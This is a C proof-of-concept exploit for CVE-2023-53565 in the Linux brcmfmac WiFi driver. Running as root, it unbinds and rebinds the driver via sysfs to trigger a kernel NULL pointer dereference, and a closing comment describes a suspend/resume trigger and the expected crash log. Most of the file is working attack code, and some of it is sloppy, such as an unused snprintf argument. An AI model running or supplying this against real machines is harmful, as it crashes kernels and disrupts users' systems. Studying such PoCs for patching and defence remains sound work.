/*
* CVE-2023-53565 PoC - Trigger NULL pointer dereference in brcmfmac driver
*
* This PoC demonstrates how to trigger the vulnerability by manually binding
* the brcmfmac driver via sysfs, which causes the probe() function to be
* called with a NULL id argument.
*
* Prerequisites:
* - Linux kernel with vulnerable brcmfmac driver
* - PCIe/USB WiFi device using brcmfmac chipset
* - Root privileges (required for sysfs driver binding)
*
* Usage: Run as root
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>
#include <errno.h>
/* Find the PCI device path for brcmfmac WiFi adapter */
int find_brcmfmac_device(char *path, size_t path_len) {
FILE *fp;
char line[512];
char vendor[16], device[16];
/* Search for Broadcom WiFi devices (vendor 14e4) */
fp = popen("lspci -D | grep -i 'network\|wireless\|14e4'", "r");
if (fp == NULL) {
return -1;
}
while (fgets(line, sizeof(line), fp) != NULL) {
/* Extract PCI address (format: XXXX:XX:XX.X) */
char *pci_addr = strtok(line, " ");
if (pci_addr != NULL) {
snprintf(path, path_len, "/sys/bus/pci/drivers/brcmfmac", pci_addr);
/* Find the actual device in brcmfmac driver */
snprintf(path, path_len, "/sys/bus/pci/devices/%s/driver", pci_addr);
if (access(path, F_OK) == 0) {
/* Device already bound, need to unbind first */
char unbind_path[256];
snprintf(unbind_path, sizeof(unbind_path),
"/sys/bus/pci/drivers/brcmfmac/unbind");
FILE *ub = fopen(unbind_path, "w");
if (ub) {
fprintf(ub, "%s\n", pci_addr);
fclose(ub);
usleep(100000);
}
/* Now rebind to trigger the vulnerability */
char bind_path[256];
snprintf(bind_path, sizeof(bind_path),
"/sys/bus/pci/drivers/brcmfmac/bind");
FILE *bb = fopen(bind_path, "w");
if (bb) {
fprintf(bb, "%s\n", pci_addr);
fclose(bb);
printf("[+] Triggered CVE-2023-53565 via manual driver bind\n");
printf("[+] Check dmesg for NULL pointer dereference\n");
pclose(fp);
return 0;
}
}
}
}
pclose(fp);
return -1;
}
int main(int argc, char *argv[]) {
printf("[*] CVE-2023-53565 PoC - brcmfmac NULL Pointer Dereference\n");
printf("[*] Linux kernel brcmfmac driver probe() NULL id vulnerability\n\n");
if (getuid() != 0) {
printf("[-] This PoC requires root privileges\n");
return 1;
}
char device_path[256];
if (find_brcmfmac_device(device_path, sizeof(device_path)) != 0) {
printf("[-] No brcmfmac device found\n");
printf("[*] Alternative: Trigger via system suspend/resume cycle\n");
printf("[*] Run: systemctl suspend (then wake the system)\n");
return 1;
}
return 0;
}
/*
* Alternative trigger method (suspend/resume):
*
* 1. Ensure brcmfmac WiFi device is active
* 2. Suspend the system: echo mem > /sys/power/state
* 3. Resume the system (press power button or open lid)
* 4. During resume, brcmf_pcie_pm_leave_D3() calls brcmf_pcie_probe()
* with NULL id, triggering the NULL pointer dereference
*
* Expected crash output in dmesg:
* BUG: kernel NULL pointer dereference, address: 0000000000000018
* RIP: 0010:brcmf_pcie_probe+0x16b/0x7a0 [brcmfmac]
*/